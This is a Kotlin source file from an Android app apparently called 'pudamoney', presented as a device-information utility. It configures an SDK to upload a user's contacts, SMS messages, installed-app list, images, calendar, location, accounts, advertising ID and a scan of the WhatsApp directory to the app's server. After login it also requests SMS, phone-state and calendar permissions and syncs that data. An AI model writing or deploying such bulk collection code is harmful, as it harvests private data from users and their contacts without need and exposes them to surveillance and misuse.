package com.test.pudamoney.util_pudamoney.analytics_pudamoney.util_pudamoney

import android.app.Application
import com.test.pudamoney.constant_pudamoney.Constant_pudamoney
import com.test.pudamoney.constant_pudamoney.Url_pudamoney
import com.test.pudamoney.util_pudamoney.helper_pudamoney.UserInfoHelper_pudamoney
import com.zhi.syc.data.ASBuilder
import com.zhi.syc.data.ASSycManager
import java.util.*

object SycDeviceUtil_pudamoney {

    /**
     * 初始化设备信息模块
     *
     * @param context Application
     */
    fun init(context: Application) {
        try {
            ASBuilder.setMock(false)
            ASBuilder.setLog(true)
            ASBuilder.setServerHost(Url_pudamoney.Url_base)
            ASBuilder.setPathApplist(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_APPLIST)
            ASBuilder.setPathContactResult(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CONTACT_RESULT)
            ASBuilder.setPathContact(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CONTACT)
            ASBuilder.setPathMessage(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_MESSAGE)
            ASBuilder.setPathDevice(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_DEVICE)
            ASBuilder.setPathImage(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_IMAGE)
            ASBuilder.setPathBattery(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_BATTERY)
            ASBuilder.setPathHardware(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_HARDWARE)
            ASBuilder.setPathStore(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_STORE)
            ASBuilder.setPathMedia(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_MEDIA)
            ASBuilder.setPathNetwork(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_NETWORK)
            ASBuilder.setPathLocation(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_LOCATION)
            ASBuilder.setPathCalendar(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CALENDAR)
            ASBuilder.setPathScanFilePath(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_WHATSAPP_DIR)
            ASBuilder.setPathSettingAccount(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_SETTING_ACCOUNT)
            ASBuilder.setPathAduid(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_ADUID)
            ASBuilder.setAppid(Constant_pudamoney.PRODUCT)
            ASBuilder.setKeyProduct(Constant_pudamoney.PRODUCT)
            ASSycManager.getInstance().init(context)

        } catch (e: Exception) {
            e.printStackTrace()
        }
    }

    /**
     * 保存设备 s2s信息
     */
    fun saveS2SInfo() {
        try {
            if (UserInfoHelper_pudamoney.getInstance().didLogin()) {
                val permissions = ArrayList<String>()
                permissions.add(android.Manifest.permission.READ_PHONE_STATE)
                permissions.add(android.Manifest.permission.READ_SMS)
                permissions.add(android.Manifest.permission.READ_CALENDAR)
                ASSycManager.getInstance()
                        .sycDataByPermissions(UserInfoHelper_pudamoney.getInstance().token, permissions, true)
            }
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}